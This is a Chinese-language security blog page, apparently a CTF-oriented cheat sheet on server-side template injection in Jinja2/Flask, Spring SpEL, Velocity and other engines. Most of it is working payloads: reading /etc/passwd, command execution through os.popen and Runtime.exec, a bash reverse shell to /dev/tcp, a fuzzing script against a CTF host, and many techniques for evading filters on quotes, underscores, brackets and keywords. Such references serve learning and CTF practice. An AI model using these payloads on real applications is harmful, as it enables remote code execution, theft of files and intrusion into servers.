Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • Catalogue

    • PHP安全速查
    • JAVA安全速查
  • 隐写术
  • PHP

  • protocol
  • Java

  • Node

  • Python

  • Golang

  • Arbitrary Code Execution
  • Shell
  • SQLi
  • SSRF
  • SSTI
    • Python
      • bypass
    • Java
      • SpringFramework
      • JSP
      • FreeMarker
      • Velocity
    • PHP
      • Twig
      • Smarty
      • Blade
    • Ruby
      • ERB
    • Golang
    • 参考资料
  • lfi
  • XSS
  • XXE
  • convert
  • .htaccess文件利用
  • 序列化与反序列化问题小结
  • CTF
Eki
2021-05-10
目录

SSTI

# SSTI 模板注入漏洞

# Python

基本流程 获取基本类

''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] #jinjia2/flask 适用  [9]
1
2
3
4
5

获取基本类后,继续向下获取基本类(object)的子类

object.__subclasses__()
1

找到重载过的__init__类

在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的

也可以利用.index()去找file,warnings.catch_warnings

>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>
1
2
3
4

查看其引用__builtins__

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
1

这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file等函数来实现读取文件的功能

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
1

任意文件读

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}
1

rce

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
1
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1') %}1{% endif %}
1
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
1

subprocess.Popen fuzz脚本

import requests

url = "http://38ab3221-49f0-415f-98bc-65b4744640b8.node3.buuoj.cn/"

index = 0
for i in range(100, 1000):
    #print i
    payload = "{{''.__class__.__mro__[2].__subclasses__()[%d]}}" % (i)
    params = {
        "search": payload
    }
    #print(params)
    req = requests.get(url,params=params)
    #print(req.text)
    if "subprocess.Popen" in req.text:
        index = i
        break


print("index of subprocess.Popen:" + str(index))
print("payload:{{''.__class__.__mro__[2].__subclasses__()[%d]('ls',shell=True,stdout=-1).communicate()[0].strip()}}" % i)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# bypass

  • Python 字符的几种表示方式

    • 16进制 \x41
    • 8进制 \101
    • unicode \u0074
    • base64 'X19jbGFzc19f'.decode('base64') python3
    • join "fla".join("/g")
  • SSTI 的三种方式

    • {{}}
    • {%print(......)%}
    • {%%}
  • SSTI 获取对象属性的几种方式

    • class.attr
    • class.__getattribute__('attr')
    • class[attr]
    • class|attr('attr')
    • "".__class__.__mro__.__getitem__(2)
    • ['__builtins__'].__getitem__('eval')
  • 绕过中括号

    • pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
1

在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过

  • 利用 getitem() 绕过

  • 过滤引号

request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤 将其中的request.args改为request.values则利用REQUEST的方式进行传参

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
1
  • 过滤双下划线

同样利用request.args属性

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

1
2
GET:
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__
1
2
3
4
  • 过滤关键字

base64编码绕过

__getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
1
  • 字符串拼接绕过
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
1
  • 同时绕过下划线、与中括号
{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/etc/passwd')|attr(request.values.name5)()}}

post:
name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read
1
2
3
4
  • 绕过.过滤

Jinja2对模板做了特殊处理,通过A['__init__']也可以访问A的方法/属性

若.也被过滤,使用原生JinJa2函数|attr()

将request.__class__改成request|attr("__class__")

  • 构造字符,绕过强字符检测
#Author:颖奇L'Amore
{% set xhx = (({ }|select()|string()|list()).pop(24)|string())%}  # _
{% set spa = ((app.__doc__|list()).pop(102)|string())%}  #空格
{% set pt = ((app.__doc__|list()).pop(320)|string())%}  #点
{% set yin = ((app.__doc__|list()).pop(337)|string())%}   #单引号
{% set left = ((app.__doc__|list()).pop(264)|string())%}   #左括号 (
{% set right = ((app.__doc__|list()).pop(286)|string())%}   #右括号)
{% set slas = (y1ng.__init__.__globals__.__repr__()|list()).pop(349)%}   #斜线/
{% set bu = dict(buil=aa,tins=dd)|join() %}  #builtins
{% set im = dict(imp=aa,ort=dd)|join() %}  #import
{% set sy = dict(po=aa,pen=dd)|join() %}  #popen
{% set os = dict(o=aa,s=dd)|join() %}  #os
{% set ca = dict(ca=aa,t=dd)|join() %}  #cat
{% set flg = dict(fl=aa,ag=dd)|join() %}  #flag
{% set ev = dict(ev=aa,al=dd)|join() %} #eval
{% set red = dict(re=aa,ad=dd)|join()%}  #read
{% set bul = xhx*2~bu~xhx*2 %}  #__builtins__

#拼接起来 __import__('os').popen('cat /flag').read()
{% set pld = xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right %} 


{% for f,v in y1ng.__init__.__globals__.items() %} #globals
	{% if f == bul %} 
		{% for a,b in v.items() %}  #builtins
			{% if a == ev %} #eval
				{{b(pld)}} #eval(pld)
			{% endif %}
		{% endfor %}
	{% endif %}
{% endfor %}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# 参考资料

  • https://xz.aliyun.com/t/9584#toc-17

  • https://blog.csdn.net/rfrder/article/details/113866139

# Java

# SpringFramework

SpEL使用#{...}作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car} 引用其他对象的属性:#{car.brand} 调用其它方法 , 还可以链式操作:#{car.toString()}

其中属性名称引用还可以用$符号 如:${someProperty} 除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:

#{T(java.lang.Math)}
1
${7*7}
${T(java.lang.Runtime).getRuntime().exec('id')}
1
2

# JSP

# FreeMarker

# Velocity

Exp:

%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%2id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
1

# PHP

# Twig

# Smarty

参考资料:

https://www.jianshu.com/p/eb8d0137a7d3

# Blade

# Ruby

$~:is equivalent to ::last_match;

$&:contains the complete matched text;

$`:contains string before match;

$':contains string after match;

$1, $2 and so on contain text matching first, second, etc capture group;

$+:contains last capture group.
1
2
3
4
5
6
7
8
9
10
11

# ERB

# Golang

{{.}}
1

# 参考资料

一篇文章带你理解漏洞之SSTI漏洞:

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E (opens new window)

各引擎示例:

https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

Templates Injections Payload:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

Bypass姿势:

http://flag0.com/2018/11/11/%E6%B5%85%E6%9E%90SSTI-python%E6%B2%99%E7%9B%92%E7%BB%95%E8%BF%87/

参考资料

http://flag0.com/2018/11/11/%E6%B5%85%E6%9E%90SSTI-python%E6%B2%99%E7%9B%92%E7%BB%95%E8%BF%87/#%E7%A7%91%E6%9D%A5%E6%9D%AF-easy-flask

浅谈flask ssti绕过原理:

https://xz.aliyun.com/t/8029

编辑 (opens new window)
#SSTI
上次更新: 2022/01/17, 16:49:24
SSRF
lfi

← SSRF lfi→

最近更新
01
QWB CTF2022 线下赛总决赛部分题解
08-25
02
CISCN2022 总决赛部分题解
08-25
03
DSCTF2022决赛 部分writeup
08-08
更多文章>
Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License.
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式